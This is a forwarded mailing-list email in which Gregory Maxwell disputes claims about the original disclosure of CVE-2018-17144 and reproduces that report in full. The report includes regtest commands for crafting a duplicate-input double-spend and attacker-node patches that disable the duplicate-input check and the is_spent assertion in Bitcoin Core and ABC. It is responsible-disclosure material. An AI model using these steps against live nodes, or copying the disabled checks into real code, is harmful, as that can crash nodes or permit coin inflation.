<div dir="ltr"><br><div class="gmail_quote">---------- Forwarded message ----------<br>From: <b class="gmail_sendername">Gregory Maxwell via bitcoin-core-dev</b> <span dir="ltr">&lt;<a href="mailto:bitcoin-core-dev@lists.linuxfoundation.org">bitcoin-core-dev@lists.linuxfoundation.org</a>&gt;</span><br>Date: Sat, Sep 22, 2018 at 12:12 PM<br>Subject: [bitcoin-core-dev] On the initial notice of CVE-2018-17144<br>To: <a href="mailto:bitcoin-core-dev@lists.linuxfoundation.org">bitcoin-core-dev@lists.linuxfoundation.org</a><br><br><br>For some reason I don&#39;t understand, Andrea Suisani is stating on<br>
twitter that the the report by awemany was a report of an inflation<br>
bug, contrary to the timeline we published.   This is not the case:<br>
the report specifically stated that inflation was not possible because<br>
the node crashed. It also described a reproduction of the crash, but<br>
not of inflation.<br>
<br>
I generally understand how someone could be confused about what a<br>
report they hadn&#39;t seen said, but I&#39;m confused in this case because<br>
Andrea Suisani was copied on the report to us. So I&#39;m not sure what is<br>
up with that, perhaps the message got lost in email.  If the reporter<br>
knew the bug permitted inflation, they still specifically reported<br>
otherwise to us.<br>
<br>
Since people are also expressing doubt that awemany was actually the<br>
author of the report, I&#39;ll include it here in its entity to aid<br>
people&#39;s validation of the claim(s). There is a better test for the<br>
crash issue include in master branch of the Bitcoin repository, the<br>
reporter&#39;s reproduction instructions here are only included for<br>
completeness.<br>
<br>
Cheers,<br>
<br>
<br>
Date: Mon, 17 Sep 2018 14:57:46 +0000<br>
To: Pieter Wuille &lt;<a href="mailto:pieter.wuille@gmail.com">pieter.wuille@gmail.com</a>&gt;, deadalnix<br>
&lt;<a href="mailto:deadalnix@gmail.com">deadalnix@gmail.com</a>&gt;, Andrea Suisani &lt;<a href="mailto:sickpig@gmail.com">sickpig@gmail.com</a>&gt;, Gregory<br>
Maxwell &lt;<a href="mailto:gmaxwell@gmail.com">gmaxwell@gmail.com</a>&gt;, &quot;Wladimir J. van der Laan&quot;<br>
&lt;<a href="mailto:laanwj@gmail.com">laanwj@gmail.com</a>&gt;<br>
From: beardnboobies &lt;<a href="mailto:beardnboobies@protonmail.com">beardnboobies@protonmail.com</a>&gt;<br>
Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core<br>
<br>
Dear Bitcoiners,<br>
<br>
Please find attached an encrypted description of a crashing zero day<br>
exploit for Bitcoin Core as well as Bitcoin ABC. This has not been<br>
reproduced for Bitcoin Unlimited, though for advisory reasons, I am<br>
sending it to one of their members that I could find a PGP key for as<br>
well.<br>
<br>
Please forward this to any party who might have a valid interest,<br>
including Bitcoin miners.<br>
<br>
Thank you very much.<br>
<br>
===<br>
<br>
Problem description:<br>
<br>
The following, miner-exploitable zero day has been found in Bitcoin ABC as<br>
well as in Bitcoin Core:<br>
<br>
Duplicate inputs are not checked in CheckBlock,<br>
only when they are accepted into the mempool.<br>
<br>
This creates a problem insofar as a transaction might bypass<br>
the mempool when it is included in a block, for example if<br>
it is transmitted as an extra transaction along with a compact<br>
block.<br>
<br>
A later assertion assert(is_spent) in SpendCoins (in validation.cpp)<br>
seems to prevent the worse outcome of monetary inflation by<br>
the comparatively better result of crashing the node.<br>
<br>
To reproduce (Description is for Bitcoin ABC, but applies similarly to<br>
Bitcoin Core):<br>
<br>
Create one instance of ABC bitcoind without the patch below<br>
applied (A) and create on instance of ABC with the patch applied (B).<br>
The patch removes sending of transactions and testing for double-spent<br>
inputs for the attacker node.<br>
<br>
Run both in regtest mode and point them to different data directories,<br>
like so and connect them together:<br>
A: ./bitcoind -regtest -rpcport=15000 -listen -debug -datadir=/tmp/abc.1<br>
B: ./bitcoind -regtest -rpcport=15001 -connect=localhost -debug<br>
-datadir=/tmp/abc.2<br>
<br>
Now on the prepared attacker node B, create a bunch of blocks and a transaction<br>
that double-spends its input, like  so for example:<br>
<br>
&gt; ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 generate 200<br>
<br>
&gt; ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 getnewaddress<br>
&lt;address&gt;<br>
<br>
&gt; ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendtoaddress &lt;address&gt;<br>
&lt;resulting-txid&gt;<br>
<br>
&gt; ./bitcoin-tx -regtest -create in=&lt;resulting-txid&gt;:&lt;vout&gt; in=&lt;resulting-txid&gt;:&lt;vout&gt; outaddr=99.9:&lt;address&gt;<br>
&lt;resulting-txn-hex&gt;<br>
<br>
The double entry of the input here is not a typo. This is the desired<br>
double-spend.<br>
<br>
Sign the resulting transaction hex like so:<br>
<br>
&gt; ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 signrawtransaction &lt;txid&gt;<br>
&lt;signed-txn-hex&gt;<br>
<br>
For Core, this step needs to be adapted to signrawtransactionwithkey.<br>
And send the result into the small regtest test netwrok:<br>
&gt; ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendrawtransaction &lt;signed-txn-hex&gt;<br>
<br>
Voila, your node A should have just aborted like this:<br>
<br>
bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&amp;, const<br>
CTransaction&amp;, CTxUndo&amp;, int): Assertion `is_spent&#39; failed.<br>
Aborted (core dumped)<br>
<br>
If you like this work or want to pay out a bounty for finding a zero day,<br>
please do so in BCH to this address. Thank you very much in advance.<br>
<br>
bitcoincash:<wbr>qr5yuq3q40u7mxwqz6xvamkfj8tg45<wbr>wyus7fhqzug5<br>
<br>
<br>
The patch for ABC:<br>
<br>
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp<br>
index ee909deb9..ff7942361 100644<br>
--- a/src/consensus/tx_verify.cpp<br>
+++ b/src/consensus/tx_verify.cpp<br>
@@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction &amp;tx,<br>
<br>
     // Check for duplicate inputs - note that this check is slow so we skip it<br>
     // in CheckBlock<br>
-    if (fCheckDuplicateInputs) {<br>
+    if (0) {<br>
         std::set&lt;COutPoint&gt; vInOutPoints;<br>
         for (const auto &amp;txin : tx.vin) {<br>
             if (!vInOutPoints.insert(txin.<wbr>prevout).second) {<br>
diff --git a/src/net_processing.cpp b/src/net_processing.cpp<br>
index e4ecc793c..ee1cc3cda 100644<br>
--- a/src/net_processing.cpp<br>
+++ b/src/net_processing.cpp<br>
@@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config<br>
&amp;config, CNode *pfrom,<br>
                             // however we MUST always provide at least what the<br>
                             // remote peer needs.<br>
                             typedef std::pair&lt;unsigned int, uint256&gt; PairType;<br>
-                            for (PairType &amp;pair : merkleBlock.vMatchedTxn) {<br>
-                                connman-&gt;PushMessage(<br>
-                                    pfrom,<br>
-                                    msgMaker.Make(NetMsgType::TX,<br>
-                                                  *block.vtx[pair.first]));<br>
-                            }<br>
                         }<br>
                         // else<br>
                         // no response<br>
@@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config<br>
&amp;config, CNode *pfrom,<br>
                 bool push = false;<br>
                 auto mi = mapRelay.find(inv.hash);<br>
                 int nSendFlags = 0;<br>
-                if (mi != mapRelay.end()) {<br>
-                    connman-&gt;PushMessage(<br>
-                        pfrom,<br>
-                        msgMaker.Make(nSendFlags, NetMsgType::TX,<br>
*mi-&gt;second));<br>
-                    push = true;<br>
-                } else if (pfrom-&gt;timeLastMempoolReq) {<br>
-                    auto txinfo = <a href="http://mempool.info" rel="noreferrer" target="_blank">mempool.info</a>(inv.hash);<br>
-                    // To protect privacy, do not answer getdata using the<br>
-                    // mempool when that TX couldn&#39;t have been INVed<br>
in reply to<br>
-                    // a MEMPOOL request.<br>
-                    if (txinfo.tx &amp;&amp;<br>
-                        txinfo.nTime &lt;= pfrom-&gt;timeLastMempoolReq) {<br>
-                        connman-&gt;PushMessage(pfrom,<br>
-                                             msgMaker.Make(nSendFlags,<br>
-                                                           NetMsgType::TX,<br>
-                                                           *txinfo.tx));<br>
-                        push = true;<br>
-                    }<br>
-                }<br>
                 if (!push) {<br>
                     vNotFound.push_back(inv);<br>
                 }<br>
diff --git a/src/validation.cpp b/src/validation.cpp<br>
index a31546432..a9edbb956 100644<br>
--- a/src/validation.cpp<br>
+++ b/src/validation.cpp<br>
@@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &amp;view, const<br>
CTransaction &amp;tx, CTxUndo &amp;txundo,<br>
     for (const CTxIn &amp;txin : tx.vin) {<br>
         txundo.vprevout.emplace_back()<wbr>;<br>
         bool is_spent = view.SpendCoin(txin.prevout, &amp;txundo.vprevout.back());<br>
-        assert(is_spent);<br>
+        //assert(is_spent);<br>
     }<br>
 }<br>
<br>
<br>
----<br>
The same patch for Core:<br>
<br>
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp<br>
index 0628ec1d4..a06f77f8b 100644<br>
--- a/src/consensus/tx_verify.cpp<br>
+++ b/src/consensus/tx_verify.cpp<br>
@@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction&amp; tx,<br>
CValidationState &amp;state, bool fChe<br>
     }<br>
<br>
     // Check for duplicate inputs - note that this check is slow so<br>
we skip it in CheckBlock<br>
-    if (fCheckDuplicateInputs) {<br>
+    if (0) {<br>
         std::set&lt;COutPoint&gt; vInOutPoints;<br>
         for (const auto&amp; txin : tx.vin)<br>
         {<br>
diff --git a/src/net_processing.cpp b/src/net_processing.cpp<br>
index b48a3bd22..9b7fb5839 100644<br>
--- a/src/net_processing.cpp<br>
+++ b/src/net_processing.cpp<br>
@@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom,<br>
const CChainParams&amp; chainparams, c<br>
                     // Thus, the protocol spec specified allows for<br>
us to provide duplicate txn here,<br>
                     // however we MUST always provide at least what<br>
the remote peer needs<br>
                     typedef std::pair&lt;unsigned int, uint256&gt; PairType;<br>
-                    for (PairType&amp; pair : merkleBlock.vMatchedTxn)<br>
-                        connman-&gt;PushMessage(pfrom,<br>
msgMaker.Make(SERIALIZE_<wbr>TRANSACTION_NO_WITNESS, NetMsgType::TX,<br>
*pblock-&gt;vtx[pair.first]));<br>
                 }<br>
                 // else<br>
                     // no response<br>
@@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const<br>
CChainParams&amp; chainparams, CConnm<br>
             bool push = false;<br>
             auto mi = mapRelay.find(inv.hash);<br>
             int nSendFlags = (inv.type == MSG_TX ?<br>
SERIALIZE_TRANSACTION_NO_<wbr>WITNESS : 0);<br>
-            if (mi != mapRelay.end()) {<br>
-                connman-&gt;PushMessage(pfrom, msgMaker.Make(nSendFlags,<br>
NetMsgType::TX, *mi-&gt;second));<br>
-                push = true;<br>
-            } else if (pfrom-&gt;timeLastMempoolReq) {<br>
-                auto txinfo = <a href="http://mempool.info" rel="noreferrer" target="_blank">mempool.info</a>(inv.hash);<br>
-                // To protect privacy, do not answer getdata using<br>
the mempool when<br>
-                // that TX couldn&#39;t have been INVed in reply to a<br>
MEMPOOL request.<br>
-                if (txinfo.tx &amp;&amp; txinfo.nTime &lt;= pfrom-&gt;timeLastMempoolReq) {<br>
-                    connman-&gt;PushMessage(pfrom,<br>
msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx));<br>
-                    push = true;<br>
-                }<br>
-            }<br>
             if (!push) {<br>
                 vNotFound.push_back(inv);<br>
             }<br>
diff --git a/src/validation.cpp b/src/validation.cpp<br>
index 947192be0..66536af24 100644<br>
--- a/src/validation.cpp<br>
+++ b/src/validation.cpp<br>
@@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction&amp; tx,<br>
CCoinsViewCache&amp; inputs, CTxUndo &amp;txund<br>
         for (const CTxIn &amp;txin : tx.vin) {<br>
             txundo.vprevout.emplace_back()<wbr>;<br>
             bool is_spent = inputs.SpendCoin(txin.prevout,<br>
&amp;txundo.vprevout.back());<br>
-            assert(is_spent);<br>
+            //assert(is_spent);<br>
         }<br>
     }<br>
     // add outputs<br>
______________________________<wbr>_________________<br>
bitcoin-core-dev mailing list<br>
<a href="mailto:bitcoin-core-dev@lists.linuxfoundation.org">bitcoin-core-dev@lists.<wbr>linuxfoundation.org</a><br>
<a href="https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-core-dev" rel="noreferrer" target="_blank">https://lists.linuxfoundation.<wbr>org/mailman/listinfo/bitcoin-<wbr>core-dev</a><br>
</div><br><br clear="all"><div><br></div>-- <br><div class="gmail_signature" data-smartmail="gmail_signature">- Bryan<br><a href="http://heybryan.org/" target="_blank">http://heybryan.org/</a><br>1 512 203 0507</div>
</div>